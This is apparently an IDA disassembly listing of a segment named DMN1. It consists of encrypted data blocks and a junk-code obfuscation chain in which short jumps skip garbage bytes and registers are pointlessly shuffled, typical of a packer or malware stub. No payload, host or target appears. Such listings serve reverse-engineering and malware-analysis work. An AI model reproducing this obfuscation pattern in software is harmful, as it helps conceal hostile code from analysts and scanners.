		dd 36B62B2Bh, 53172EFBh, 16CCED96h, 6A4C2B64h, 35CC572Bh
		dd 0BE74A7B7h, 0B82A4F28h, 8487EB62h, 0D3AF849Fh, 5C19B243h
		dd 0F3F01DE9h, 0F112007Fh, 0D1BA1EFCh, 0F13BE147h, 625248Bh
		dd 80409AA9h, 0F4C7842Ah, 4810ECDDh, 6B545F14h,	0CDFAB02Fh
		dd 46CDFD01h, 48C8B128h, 0E3B65169h, 78061B9h, 741BED54h
		dd 465D4A9Bh, 25434702h, 0F39BB10Ah, 48CFFE94h,	2208A6E5h
		dd 27DD218Bh, 0A5A98F1Fh, 0C38E8E37h, 4B51E6E0h, 7C4ABCC0h
		dd 0ECB94A43h, 519E64F9h, 82AE7685h, 0A65B8361h, 0C3D92CC4h
		dd 7CE9A5D8h, 0D2FD1FB3h, 8779CA8Ah, 0E7736456h, 0A0F27307h
		dd 24BE18CCh, 22E374Eh,	1AACF352h, 5AB4A660h, 90FFDA22h
		dd 624C4A2Ch, 5D887307h, 0CF4598A3h, 6CA010A1h,	5AE72258h
		dd 0F694F2E6h, 0C11D4587h, 67E49714h, 48E749E1h, 7BDD0318h
		dd 0A11CCD6Bh, 0B13AD81Ah, 0D18963C6h, 5172E57Dh, 3BD2E94Ah
		dd 67907C2Ch, 0E47EB11Ah, 0EC8A3E2Fh, 3402ED37h, 0C9BF57E8h
		dd 0A9161552h, 5020C1E4h, 954D8941h, 0A732C4E8h, 3B3A195Ah
		dd 52088548h, 4E825BE3h, 0D14EDA33h
; ---------------------------------------------------------------------------


loc_467EBC:				; CODE XREF: DMN1:00467ED4j
		inc	esi
		push	24h
		push	ebp
		mov	ebp, esp
		mov	eax, [esp+8]
		mov	ebp, eax
		pusha
		mov	eax, 46806E18h
		push	eax
		jmp	short loc_467ED6
; ---------------------------------------------------------------------------
		db 8Eh,	0B7h, 0B5h
; ---------------------------------------------------------------------------
		js	short loc_467EBC


loc_467ED6:				; CODE XREF: DMN1:00467ECFj
		jmp	short loc_467EEF
; ---------------------------------------------------------------------------
		adc	[edx], eax
		and	esi, esi
		enter	7C96h, 6Bh
		dec	edx
		xchg	eax, esi
		rol	dword ptr [esi+79EED5B4h], 0CEh
		fstp	tbyte ptr [eax+4Fh]
		cmpsb
		mov	dh, 9Ah


loc_467EEF:				; CODE XREF: DMN1:loc_467ED6j
		std
		or	edx, 0FFFFFFFFh
		jmp	short loc_467F10
; ---------------------------------------------------------------------------
		db 89h,	54h, 5Ah
		dd 1D218CBFh, 9C2BF4BEh, 6E843648h, 55FFA0C2h, 5651BEh
		dd 458262EFh
; ---------------------------------------------------------------------------


loc_467F10:				; CODE XREF: DMN1:00467EF3j
		dec	esi
		jmp	short loc_467F18
; ---------------------------------------------------------------------------
		db 94h
		dd 7CDE815Bh
; ---------------------------------------------------------------------------


loc_467F18:				; CODE XREF: DMN1:00467F11j
		jmp	short loc_467F38
; ---------------------------------------------------------------------------
		dw 0A500h
		dd 0D6209023h, 407B6158h, 0E3A30A61h, 3D8C45E0h, 0FE05220Bh
		dd 5D8B3F0h, 41215188h
; ---------------------------------------------------------------------------


loc_467F38:				; CODE XREF: DMN1:loc_467F18j
		jmp	short loc_467F54
; ---------------------------------------------------------------------------
		dw 7355h
		dd 25B6FB8Bh, 35F91A7Bh, 6CFE5204h, 0FDDEB14Ah,	0F0605113h
		dd 0A64AA436h
; ---------------------------------------------------------------------------


loc_467F54:				; CODE XREF: DMN1:loc_467F38j
		jmp	short loc_467F6B
; ---------------------------------------------------------------------------
		sti
		retf
; ---------------------------------------------------------------------------
		dd 740CF616h, 0F1850F85h, 7C57E921h, 2C3E982Dh
; ---------------------------------------------------------------------------
		or	al, [eax-3Dh]


loc_467F6B:				; CODE XREF: DMN1:loc_467F54j
		inc	edx
		jmp	short loc_467F72
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 33h
		db 9Dh,	8Dh
; ---------------------------------------------------------------------------


loc_467F72:				; CODE XREF: DMN1:00467F6Cj
		test	ebx, 2E1E3D33h
		jmp	short loc_467F98
; ---------------------------------------------------------------------------
		dw 39EFh
		dd 7C94DB6Bh, 0BB8399C2h, 1B103BDCh, 0E58CA4A4h, 6CCCAAAAh
		dd 59653853h, 0C6F66E9Eh
; ---------------------------------------------------------------------------


loc_467F98:				; CODE XREF: DMN1:00467F78j
		xchg	edi, edi
		jmp	short loc_467FAD
; ---------------------------------------------------------------------------
		dd 0AD57EDA2h, 0BB735CDBh, 585DA7F0h, 1F0E939h
		db 0B7h
; ---------------------------------------------------------------------------


loc_467FAD:				; CODE XREF: DMN1:00467F9Aj
		jmp	short loc_467FC8
; ---------------------------------------------------------------------------
		db 84h
		dd 0EA49ACDEh, 0B544129Dh, 0E494886h, 0FF1DFDEAh, 786F2076h
		dd 0C15A759Fh
; ---------------------------------------------------------------------------


loc_467FC8:				; CODE XREF: DMN1:loc_467FADj
		bswap	ebx
		jmp	short loc_467FDC
; ---------------------------------------------------------------------------
		dd 57BD1182h, 5EC9E6D3h, 0AC18243Ch, 0D9C99C9Bh
; ---------------------------------------------------------------------------


loc_467FDC:				; CODE XREF: DMN1:00467FCAj
		xchg	edi, edx
		xchg	eax, ebp
		jmp	short loc_467FE4
; ---------------------------------------------------------------------------
		db 90h
		db 29h
; ---------------------------------------------------------------------------


loc_467FE4:				; CODE XREF: DMN1:00467FE0j
		jmp	short loc_467FF3
; ---------------------------------------------------------------------------
		dw 0DE8Ch
		dd 0D29437D6h, 530CB6E9h
		db 13h,	1Ah, 9
; ---------------------------------------------------------------------------


loc_467FF3:				; CODE XREF: DMN1:loc_467FE4j
		jmp	short loc_468002
; ---------------------------------------------------------------------------
		db 3Dh,	5Ah, 14h
		dd 0EA270933h, 0FFC111CFh
; ---------------------------------------------------------------------------
		jle	short loc_46805E


loc_468002:				; CODE XREF: DMN1:loc_467FF3j
		test	ebx, 8F578930h
		add	edi, 31000h
		cld
		xchg	ebx, ebp
		jmp	short loc_46802E
; ---------------------------------------------------------------------------
		db 73h
		dd 59C32863h, 0A3981520h, 0A3674467h, 331F2CDBh, 12F2F051h
		dd 9B506A49h
; ---------------------------------------------------------------------------
		sar	edx, cl


loc_46802E:				; CODE XREF: DMN1:00468011j
		test	edx, 10FDA7DFh
		jmp	short loc_468052
; ---------------------------------------------------------------------------
		push	esi
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------
		db 12h,	0B7h, 0D8h
		dd 0F69A9B69h, 5F86832Bh, 0B3432334h, 0D799C9D7h, 0BB018304h
		db 0E6h, 99h
; ---------------------------------------------------------------------------


loc_468052:				; CODE XREF: DMN1:00468034j
		or	ecx, 0FFFFFFFFh
		cmc
		stc
		jmp	short loc_468073
; ---------------------------------------------------------------------------
		db 20h,	74h, 0F4h
		db 63h,	0B8h
; ---------------------------------------------------------------------------


loc_46805E:				; CODE XREF: DMN1:00468000j
		inc	ebp
		mov	byte ptr [esi-29h], 0D2h
		xor	ch, bl
		movsb
		test	[ebp-27A25B5h],	ah
		cmpsb
; ---------------------------------------------------------------------------
		dw 0BB69h
; ---------------------------------------------------------------------------
		jg	short loc_4680A0
		aas


loc_468073:				; CODE XREF: DMN1:00468057j
		test	ebp, 237A3A12h
		jmp	short $+2
		jmp	short loc_468095
; ---------------------------------------------------------------------------
		db 33h,	37h, 66h
		dd 565267DCh, 0F2E9066Bh, 7B4326C4h
; ---------------------------------------------------------------------------
		xlat


loc_46808D:				; CODE XREF: DMN1:004680DAj
		imul	esi, [edi], 0F5868563h
		inc	ebp
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------


loc_468095:				; CODE XREF: DMN1:0046807Bj
		inc	ecx
		jmp	short loc_4680AC
; ---------------------------------------------------------------------------
		dd 0DEE21F55h, 0E1B2213Dh
; ---------------------------------------------------------------------------


loc_4680A0:				; CODE XREF: DMN1:00468070j
		xchg	eax, esp
		push	ss
		inc	esp
		sbb	ds:8A66E44h[ecx], ebx
		jz	short loc_4680D8


loc_4680AC:				; CODE XREF: DMN1:00468096j
		jmp	short loc_4680BB
; ---------------------------------------------------------------------------
		dw 61DBh
		dd 672E44Ch, 0F139E64Bh
		db 0C7h, 0FFh, 0F6h
; ---------------------------------------------------------------------------


loc_4680BB:				; CODE XREF: DMN1:loc_4680ACj
		jmp	short loc_4680DC
; ---------------------------------------------------------------------------
		db 0FEh, 3Eh, 48h
		dd 765CA650h, 9A95FAF1h, 2662A09Fh, 4DF86EE7h, 34822839h
		dd 87B476E5h
; ---------------------------------------------------------------------------


loc_4680D8:				; CODE XREF: DMN1:004680AAj
		push	cs
		xchg	eax, ebx
		ja	short loc_46808D


loc_4680DC:				; CODE XREF: DMN1:loc_4680BBj
		xchg	esp, ebp
		jmp	short loc_4680ED
; ---------------------------------------------------------------------------
		dd 4125DC0Eh, 2C0170A4h, 6EA79B52h
		db 0C7h
; ---------------------------------------------------------------------------


loc_4680ED:				; CODE XREF: DMN1:004680DEj
		jmp	short loc_4680FA
; ---------------------------------------------------------------------------
		db 27h
		dd 12FA4978h, 69AD1349h
		db 0ECh, 0DDh
; ---------------------------------------------------------------------------


loc_4680FA:				; CODE XREF: DMN1:loc_4680EDj
		jmp	short loc_4680FE
; ---------------------------------------------------------------------------
		db 64h,	0AEh
; ---------------------------------------------------------------------------


loc_4680FE:				; CODE XREF: DMN1:loc_4680FAj
		add	ecx, 514Bh


loc_468104:				; CODE XREF: DMN1:004686B3j
		jmp	short loc_468115
; ---------------------------------------------------------------------------
		test	byte ptr [eax+565DA39Fh], 0CAh
		xor	dl, [ecx+54h]
		mov	ecx, 341A00DCh


loc_468115:				; CODE XREF: DMN1:loc_468104j
		jmp	short loc_468123
; ---------------------------------------------------------------------------
		db 0Dh
		db 0CCh
		db 10h,	0EFh, 0FDh
		dd 0F03FE00Dh
		db 0D9h, 0Ah, 81h
; ---------------------------------------------------------------------------


loc_468123:				; CODE XREF: DMN1:loc_468115j
		neg	ebx
		not	esi
		jmp	short loc_46812E
; ---------------------------------------------------------------------------
		db 82h,	80h, 0DBh
; ---------------------------------------------------------------------------
		wait
		aaa


loc_46812E:				; CODE XREF: DMN1:00468127j
		xchg	ebx, esp
		neg	edx
		bswap	esi
		xchg	ebx, edx
		jmp	short loc_468142
; ---------------------------------------------------------------------------
		dd 0E6EC1F17h, 0CC8F4888h
		db 9Ch,	20h
; ---------------------------------------------------------------------------


loc_468142:				; CODE XREF: DMN1:00468136j
		jmp	short loc_46814A
; ---------------------------------------------------------------------------
		dd 937288B6h
		db 4Bh,	0
; ---------------------------------------------------------------------------


loc_46814A:				; CODE XREF: DMN1:loc_468142j
		bswap	esi
		bswap	esi
		jmp	short loc_46815D
; ---------------------------------------------------------------------------
		dd 2496A579h, 0F1524E00h, 0A50648F8h
; ---------------------------------------------------------------------------
		push	ss


loc_46815D:				; CODE XREF: DMN1:0046814Ej
		jmp	short $+2
		jmp	short loc_468177
; ---------------------------------------------------------------------------
		popf
		scasd
		push	0CE5DD9B4h
		mov	bl, 26h
		cmp	bl, [ecx+ebp*8+4CB0BCB9h]
		rcr	ebx, 82h
		leave
		and	edi, esp


loc_468177:				; CODE XREF: DMN1:0046815Fj
		cld
		jmp	short loc_468180
; ---------------------------------------------------------------------------
		xchg	eax, esp
		test	eax, 1275BDA5h


loc_468180:				; CODE XREF: DMN1:00468178j
		jmp	short loc_468185
; ---------------------------------------------------------------------------
		dw 1676h
		db 71h
; ---------------------------------------------------------------------------


loc_468185:				; CODE XREF: DMN1:loc_468180j
		mov	edx, eax
		jmp	short loc_468193
; ---------------------------------------------------------------------------
		db 7, 40h, 17h
		dd 4FC58A0Ah
		db 79h,	2 dup(20h)
; ---------------------------------------------------------------------------


loc_468193:				; CODE XREF: DMN1:00468187j
		jmp	short loc_4681AD
; ---------------------------------------------------------------------------
		db 9Eh,	3Eh, 60h
		dd 613113D1h, 0AC42DB1Eh, 4BD55AE4h, 5ECBA10Ch,	0F80DBF27h
; ---------------------------------------------------------------------------
		push	ss


loc_4681AD:				; CODE XREF: DMN1:loc_468193j
		cmc
		xchg	ebx, ecx
		add	edx, edi
		jmp	short loc_4681BF
; ---------------------------------------------------------------------------
		dd 0A8734965h, 0DD745583h
		db 0FEh, 50h, 16h
; ---------------------------------------------------------------------------


loc_4681BF:				; CODE XREF: DMN1:004681B2j
		xor	ecx, 2CA099FDh
		jmp	short loc_4681CA
; ---------------------------------------------------------------------------
		db 0D0h
		db 2Ah,	8Ah
; ---------------------------------------------------------------------------


loc_4681CA:				; CODE XREF: DMN1:004681C5j
		xchg	ebp, edi
		jmp	short loc_4681E5
; ---------------------------------------------------------------------------
		dw 466Eh
		dd 0C2FF8438h, 8AF0AD10h, 0A000237Fh, 3220DDA6h, 0FFD1A62Bh
; ---------------------------------------------------------------------------
		inc	ebp


loc_4681E5:				; CODE XREF: DMN1:004681CCj
		jmp	short loc_4681FB
; ---------------------------------------------------------------------------
		db 10h
		dd 0E6DFDC39h, 6C5B6FC0h, 6F65C59h, 0D7D47F4Bh
		db 0D8h, 2Fh, 18h
; ---------------------------------------------------------------------------


loc_4681FB:				; CODE XREF: DMN1:loc_4681E5j
		jmp	short loc_468207
; ---------------------------------------------------------------------------
		push	0C87F39F8h
		mov	edx, 0DD1620Bh


loc_468207:				; CODE XREF: DMN1:loc_4681FBj
		bswap	esi
		clc
		xchg	ebp, ebp
		jmp	short loc_46822C
; ---------------------------------------------------------------------------
		dw 2BECh
		dd 0B245C61Ch, 0F20E1FFDh, 49761B9Ah, 64A00BAEh, 0DAB48EE4h
		dd 0D286A235h, 0D97C1298h
; ---------------------------------------------------------------------------


loc_46822C:				; CODE XREF: DMN1:0046820Cj
		jmp	short loc_468249
; ---------------------------------------------------------------------------
		dw 8B6Eh
; ---------------------------------------------------------------------------
		add	edi, ds:59AC1BDFh
		mov	eax, 2DBD8362h
		cwde
		mov	ebp, 0ACCDE1A0h
		mov	dword ptr [ebp-42h], 3D645F25h
		scasb


loc_468249:				; CODE XREF: DMN1:loc_46822Cj
		mov	esp, [edx]
		jmp	short loc_468255
; ---------------------------------------------------------------------------
		db 12h,	52h, 0D0h
		dd 749434F8h
		db 0B0h
; ---------------------------------------------------------------------------


loc_468255:				; CODE XREF: DMN1:0046824Bj
		dec	esi
		stc
		jmp	short loc_46825C
; ---------------------------------------------------------------------------
		db 0F6h, 98h, 36h
; ---------------------------------------------------------------------------


loc_46825C:				; CODE XREF: DMN1:00468257j
		jmp	short loc_468273
; ---------------------------------------------------------------------------
		dw 0E555h
		dd 0C924E236h, 553D6969h, 40D97445h, 173FDCEFh
; ---------------------------------------------------------------------------
		adc	[eax+edi*2], ch


loc_468273:				; CODE XREF: DMN1:loc_46825Cj
		add	ecx, 1263C87Ah
		xor	esp, [edi]
		jmp	short loc_468297
; ---------------------------------------------------------------------------
		db 65h,	24h, 0CDh
		dd 7D34CC8Eh, 0A383E5FCh, 3016DB11h, 3D76952Eh,	5399C9Dh
		db 0DFh, 0D9h, 2Bh
; ---------------------------------------------------------------------------


loc_468297:				; CODE XREF: DMN1:0046827Bj
		jmp	short loc_4682A3
; ---------------------------------------------------------------------------
		db 87h,	0A5h, 2Fh
		dd 0BEF0988Ah
		db 0CDh, 5Eh, 0CAh
; ---------------------------------------------------------------------------


loc_4682A3:				; CODE XREF: DMN1:loc_468297j
		xchg	ebp, edx
		jmp	short loc_4682B6
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0B4132FECh, 2BAEAE97h, 692FB579h
		db 54h,	0B2h
; ---------------------------------------------------------------------------


loc_4682B6:				; CODE XREF: DMN1:004682A5j
		jmp	short loc_4682B9
; ---------------------------------------------------------------------------
		db 0B3h
; ---------------------------------------------------------------------------


loc_4682B9:				; CODE XREF: DMN1:loc_4682B6j
		xchg	esp, [edi]
		jmp	short loc_4682CF
; ---------------------------------------------------------------------------
		db 5Eh,	8Ah, 25h
		dd 300B3A74h, 0D1B867DBh, 8C794E0h
		db 0E4h, 3, 0E6h
; ---------------------------------------------------------------------------


loc_4682CF:				; CODE XREF: DMN1:004682BBj
		jmp	short loc_4682E7
; ---------------------------------------------------------------------------
		db 3, 2	dup(41h)
		dd 933A5CB2h, 0D3A9BE0Ah, 4A463E4h, 42FD7E2Eh
		db 0D8h, 1Ah, 0E2h
; ---------------------------------------------------------------------------


loc_4682E7:				; CODE XREF: DMN1:loc_4682CFj
		jmp	short loc_468307
; ---------------------------------------------------------------------------
		db 0ECh, 50h, 0DAh
		dd 28ADC40Dh, 0F06DABD5h, 2AF6BEDh, 0C96025A2h,	39EB2A64h
		dd 0D4E907B7h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		pop	eax


loc_468307:				; CODE XREF: DMN1:loc_4682E7j
		jmp	short loc_468312
; ---------------------------------------------------------------------------
		db 0EEh, 76h, 1Dh
		dd 0D5FE12D1h
		db 0A0h, 0F3h
; ---------------------------------------------------------------------------


loc_468312:				; CODE XREF: DMN1:loc_468307j
		jmp	short $+2
		xchg	ebx, esp
		jmp	short loc_46832E
; ---------------------------------------------------------------------------
		dd 84A0C63Eh, 0F7308F3Eh, 0F0832904h, 963E16DEh, 0B3702ACAh
		db 63h,	46h
; ---------------------------------------------------------------------------


loc_46832E:				; CODE XREF: DMN1:00468316j
		clc
		jmp	short loc_468341
; ---------------------------------------------------------------------------
		db 3Dh,	14h, 0C8h
; ---------------------------------------------------------------------------
		xchg	ah, [edi-2186D127h]
		pop	ds
		and	eax, [edi-36833500h]


loc_468341:				; CODE XREF: DMN1:0046832Fj
		rcl	esi, 20h
		jmp	short loc_468354
; ---------------------------------------------------------------------------
		dw 0B9FEh
		dd 9A55CEE9h, 0B167B1BCh, 147D82DDh
; ---------------------------------------------------------------------------


loc_468354:				; CODE XREF: DMN1:00468344j
		add	ebp, 483F126Fh
		clc
		jmp	short loc_468371
; ---------------------------------------------------------------------------
		db 7, 0D9h, 2Ch
		dd 0C9981A1Fh, 6D00C27Ch, 0C38274F0h, 0A55BF71Ah
; ---------------------------------------------------------------------------
		lodsb


loc_468371:				; CODE XREF: DMN1:0046835Bj
		rol	ebx, 1
		cmc
		jmp	short loc_468386
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		and	al, 0B8h
		mov	dl, 8Dh
		sub	edi, [ecx-6]
		sub	al, 0B0h
		sahf
		std
		adc	edi, [esi+43h]


loc_468386:				; CODE XREF: DMN1:00468374j
		not	esi
		jmp	short loc_4683A4
; ---------------------------------------------------------------------------
		dw 763Eh
		dd 3C4655CEh, 0B5A5824Bh, 0D9274819h, 4DC34774h, 0DEE9D309h
		dd 2DC28F5Ah
; ---------------------------------------------------------------------------


loc_4683A4:				; CODE XREF: DMN1:00468388j
		add	ebx, 0F1533F5Eh
		jmp	short loc_4683B9
; ---------------------------------------------------------------------------
		dd 0D090D1Fh, 0DDB41D68h, 0E732ED73h
		db 29h
; ---------------------------------------------------------------------------


loc_4683B9:				; CODE XREF: DMN1:004683AAj
		jmp	short loc_4683C1
; ---------------------------------------------------------------------------
		db 0CFh
; ---------------------------------------------------------------------------
		mov	word ptr [ebp+46h], ss
		jge	short near ptr byte_46842E


loc_4683C1:				; CODE XREF: DMN1:loc_4683B9j
		bswap	ebp
		test	ebp, 6A3439A9h
		xchg	ebx, [edi]
		jmp	short loc_4683DD
; ---------------------------------------------------------------------------
		db 12h,	19h, 36h
		dd 68E60E86h, 0DD8897D4h, 0DCA39A28h
		db 0DDh
; ---------------------------------------------------------------------------


loc_4683DD:				; CODE XREF: DMN1:004683CBj
		inc	ebp
		cmc
		bswap	esi
		jmp	short loc_4683EE
; ---------------------------------------------------------------------------
		retf	86E8h
; ---------------------------------------------------------------------------
		lodsb
		adc	eax, 5847F7F6h
		dec	ebp
		cld


loc_4683EE:				; CODE XREF: DMN1:004683E1j
		jmp	short loc_468406
; ---------------------------------------------------------------------------
		dd 43D063D6h, 2A1378A7h, 0A8CA2A75h, 0D0A613F9h, 2907896Fh
		db 7Dh,	0D3h
; ---------------------------------------------------------------------------


loc_468406:				; CODE XREF: DMN1:loc_4683EEj
		xchg	esi, ebx
		jmp	short loc_46840F
; ---------------------------------------------------------------------------
		dw 0B85Ah
		db 1Ah,	44h, 2Eh
; ---------------------------------------------------------------------------


loc_46840F:				; CODE XREF: DMN1:00468408j
		jmp	short loc_46842A
; ---------------------------------------------------------------------------
		db 60h,	1Bh, 5Fh
		dd 529E682Dh, 9A8ED13Bh, 0CEF497A5h, 2F48A36Fh,	0E5088BC7h
		db 0DFh, 60h
; ---------------------------------------------------------------------------


loc_46842A:				; CODE XREF: DMN1:loc_46840Fj
		xchg	edx, edi
		jmp	short loc_46842F
; ---------------------------------------------------------------------------
byte_46842E	db 1Ah			; CODE XREF: DMN1:004683BFj
; ---------------------------------------------------------------------------


loc_46842F:				; CODE XREF: DMN1:0046842Cj
		cmc
		mov	ecx, edi
		xchg	edx, edi


loc_468434:				; CODE XREF: DMN1:004684AFj
		jmp	short loc_46843B
; ---------------------------------------------------------------------------
		dw 0E297h
		db 0CEh, 4Dh, 0F7h
; ---------------------------------------------------------------------------


loc_46843B:				; CODE XREF: DMN1:loc_468434j
		add	ecx, eax
		jmp	short loc_468452
; ---------------------------------------------------------------------------
		cmp	al, 0B6h
		fsubr	dword ptr [esi+6Bh]
		xchg	eax, edx
		enter	0FFFF8DD8h, 3Eh
		imul	esi, [ebp+6], -66h
		sub	bl, [eax-6Dh]
		leave
		inc	edi


loc_468452:				; CODE XREF: DMN1:0046843Dj
		sbb	ebp, 0FFB16644h
		jmp	short loc_468463
; ---------------------------------------------------------------------------


loc_46845A:				; CODE XREF: DMN1:004684BFj
		scasb
		push	ebp
		sub	ch, al
		jmp	short loc_4684DC
; ---------------------------------------------------------------------------
		db 3Eh,	0F9h, 2Dh
; ---------------------------------------------------------------------------


loc_468463:				; CODE XREF: DMN1:00468458j
		xchg	edi, esi
		mov	[ecx], edi
		jmp	short loc_46846C
; ---------------------------------------------------------------------------
		db 8, 2	dup(49h)
; ---------------------------------------------------------------------------


loc_46846C:				; CODE XREF: DMN1:00468467j
		test	edi, 9740E56Ah
		jmp	short loc_468481
; ---------------------------------------------------------------------------
		dd 60746549h, 5F4680B0h, 900BC0DDh
		db 69h
; ---------------------------------------------------------------------------


loc_468481:				; CODE XREF: DMN1:00468472j
		jmp	short loc_4684A0
; ---------------------------------------------------------------------------
		db 46h
		dd 3A8F2876h, 4E69E3BDh, 15BE0D6Dh, 0D58BF85Eh,	829F49E2h
		dd 3102928Ch, 6B26A04Bh
; ---------------------------------------------------------------------------


loc_4684A0:				; CODE XREF: DMN1:loc_468481j
		stc
		jmp	short loc_4684A8
; ---------------------------------------------------------------------------
		db 0A4h
		dd 0DE35483Bh
; ---------------------------------------------------------------------------


loc_4684A8:				; CODE XREF: DMN1:004684A1j
		bswap	ecx
		jmp	short loc_4684C8
; ---------------------------------------------------------------------------
		cld
		cmp	eax, [ebx]
		jnp	short loc_468434
		mov	esp, 1EBC4394h
		ror	dword ptr [esi+35FB0074h], cl
		rcr	dword ptr [ebp+3Bh], cl
		jbe	short loc_46845A
		rcr	byte ptr [ebx],	9
		or	byte ptr [esi+62h], 0DCh


loc_4684C8:				; CODE XREF: DMN1:004684AAj
		jmp	short loc_4684D1
; ---------------------------------------------------------------------------
		dw 3477h
		dd 91551871h
		db 19h
; ---------------------------------------------------------------------------


loc_4684D1:				; CODE XREF: DMN1:loc_4684C8j
		jmp	short loc_4684E2
; ---------------------------------------------------------------------------
		db 1Fh
		dd 8EACD11Dh, 25A80A0Bh
; ---------------------------------------------------------------------------


loc_4684DC:				; CODE XREF: DMN1:0046845Ej
		lahf
		sub	eax, 0DE6F9985h


loc_4684E2:				; CODE XREF: DMN1:loc_4684D1j
		xor	edi, 4813B58Ch
		jmp	short $+2
		clc
		jmp	short loc_468502
; ---------------------------------------------------------------------------
		db 7Fh,	4Dh, 0C2h
		dd 0CF865585h, 0F7D64601h, 0A3A26D1Fh, 86E0E853h
		db 0DBh, 0A1h
; ---------------------------------------------------------------------------


loc_468502:				; CODE XREF: DMN1:004684EBj
		jmp	short loc_46850A
; ---------------------------------------------------------------------------
		dd 0EA14C4EFh
; ---------------------------------------------------------------------------
		cmp	dh, al


loc_46850A:				; CODE XREF: DMN1:loc_468502j
		add	edx, 2
		jmp	short loc_46852E
; ---------------------------------------------------------------------------
		db 0CEh
		dd 0E197F23Fh, 34B77494h, 8245171Dh, 297EC0FDh,	7CBAC863h
		dd 0F38CB08Dh, 2CB1D771h
; ---------------------------------------------------------------------------
		aad	29h


loc_46852E:				; CODE XREF: DMN1:0046850Dj
		jmp	short loc_46853B
; ---------------------------------------------------------------------------
		dd 860036D2h, 0FA38DACAh
		db 0A7h, 55h, 25h
; ---------------------------------------------------------------------------


loc_46853B:				; CODE XREF: DMN1:loc_46852Ej
		xchg	ebx, edi
		jmp	short loc_468552
; ---------------------------------------------------------------------------
		db 3Fh
		dd 0EA31BA34h, 0A118769Ah, 2B057237h, 2FF0388Bh
		db 0C2h, 40h
; ---------------------------------------------------------------------------


loc_468552:				; CODE XREF: DMN1:0046853Dj
		jmp	short loc_468560
; ---------------------------------------------------------------------------
		sal	dword ptr [edi+79h], 0AAh
		mov	esi, 0E2985E1Bh
		pop	edi
		sbb	edi, esi


loc_468560:				; CODE XREF: DMN1:loc_468552j
		std
		jmp	short loc_46857A
; ---------------------------------------------------------------------------
		daa
		cmp	dword ptr [edx], 5
		mov	bl, 0B4h
		mov	esi, 2A72B322h
		or	bh, ch
		xor	dh, bh
		db	36h
		cli
		lds	ebx, [ebp-362B618Fh]


loc_46857A:				; CODE XREF: DMN1:00468561j
		inc	edx
		jmp	short loc_46858C
; ---------------------------------------------------------------------------
		sub	ch, dl
		cmp	[eax], bh
		pop	ds
		fdiv	dword ptr [edx]
		retf
; ---------------------------------------------------------------------------
		db 8Eh,	0E4h, 62h
		dd 18165511h
; ---------------------------------------------------------------------------


loc_46858C:				; CODE XREF: DMN1:0046857Bj
		xchg	esp, ebx
		jmp	short loc_4685A1
; ---------------------------------------------------------------------------
		dd 15D43CD5h, 33DD207Ch, 69C536E6h, 0E7D48A9Bh
		db 36h
; ---------------------------------------------------------------------------


loc_4685A1:				; CODE XREF: DMN1:0046858Ej
		jmp	short loc_4685A4
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4685A4:				; CODE XREF: DMN1:loc_4685A1j
		jmp	short loc_4685BC
; ---------------------------------------------------------------------------
		dw 4A0Ah
		dd 240F667h, 7FCFC19Ch,	3F2C4C4Ah, 6F807074h, 0D5670646h
; ---------------------------------------------------------------------------


loc_4685BC:				; CODE XREF: DMN1:loc_4685A4j
		jmp	short loc_4685CF
; ---------------------------------------------------------------------------
		dw 513Dh
		dd 0B18DEEB3h, 44E8098Ch, 84EB8129h
		db 95h,	0Eh, 1Ah
; ---------------------------------------------------------------------------


loc_4685CF:				; CODE XREF: DMN1:loc_4685BCj
		std
		xchg	edx, ebx
		jmp	short loc_4685DC
; ---------------------------------------------------------------------------
		dd 0AA57DEEFh, 0F8B9A87Eh
; ---------------------------------------------------------------------------


loc_4685DC:				; CODE XREF: DMN1:004685D2j
		test	ebp, 36B99957h
		jmp	short loc_4685E6
; ---------------------------------------------------------------------------
		jnz	short loc_4685F9


loc_4685E6:				; CODE XREF: DMN1:004685E2j
		jmp	short loc_4685F1
; ---------------------------------------------------------------------------
		dd 0A05BDCA5h, 8B9A706Dh
; ---------------------------------------------------------------------------
		pop	ebx


loc_4685F1:				; CODE XREF: DMN1:loc_4685E6j
		inc	ebx
		jmp	short loc_468607
; ---------------------------------------------------------------------------
		dd 0EC08A0E3h
; ---------------------------------------------------------------------------
		pushf


loc_4685F9:				; CODE XREF: DMN1:004685E4j
		scasb
		push	66865D24h
		bswap	ebp
		scasd
		out	0A8h, al	; Interrupt Controller #2, 8259A
		sub	bl, [edx]
		aaa


loc_468607:				; CODE XREF: DMN1:004685F2j
		cmc
		xchg	esp, esi
		jmp	short loc_468621
; ---------------------------------------------------------------------------
		dd 28167756h, 833BFAE2h, 0B534956Dh, 0DDD99D90h, 0FE002D70h
		db 0A2h
; ---------------------------------------------------------------------------


loc_468621:				; CODE XREF: DMN1:0046860Aj
		jmp	short loc_46862F
; ---------------------------------------------------------------------------
		db 9Dh
		dd 49F2ACE9h, 1EE0BDA9h
		db 0A8h, 81h, 0A2h
; ---------------------------------------------------------------------------


loc_46862F:				; CODE XREF: DMN1:loc_468621j
		jmp	short loc_468648
; ---------------------------------------------------------------------------
		db 80h,	25h, 70h
		dd 48FB517Fh, 0B8147A85h, 9F5DFF69h, 46743E33h,	2C7E2D6Dh
; ---------------------------------------------------------------------------


loc_468648:				; CODE XREF: DMN1:loc_46862Fj
		sub	edx, 1
		jz	short loc_4686B8
		jmp	short loc_468664
; ---------------------------------------------------------------------------
		db 0C7h
		dd 0E216D25Ch, 8C7C2E2Fh, 0F586BF07h, 0B80FA948h, 0C72E504Fh
; ---------------------------------------------------------------------------


loc_468664:				; CODE XREF: DMN1:0046864Dj
		jmp	short loc_468669
; ---------------------------------------------------------------------------
		dw 0C0AEh
		db 19h
; ---------------------------------------------------------------------------


loc_468669:				; CODE XREF: DMN1:loc_468664j
		xchg	edi, ebx
		cld
		jmp	short loc_468689
; ---------------------------------------------------------------------------
		mov	esi, 128B2E8Eh
		push	ebx
		icebp
		dec	esp
		xor	esi, edx
		pop	ds
		rol	dh, 1
		retf
; ---------------------------------------------------------------------------
		dd 0E8804E2Ch, 8DBBC953h, 48B9E444h
		db 6Dh
; ---------------------------------------------------------------------------


loc_468689:				; CODE XREF: DMN1:0046866Cj
		jmp	short $+2
		xchg	ecx, edx
		stc
		jmp	short $+2
		std
		stc
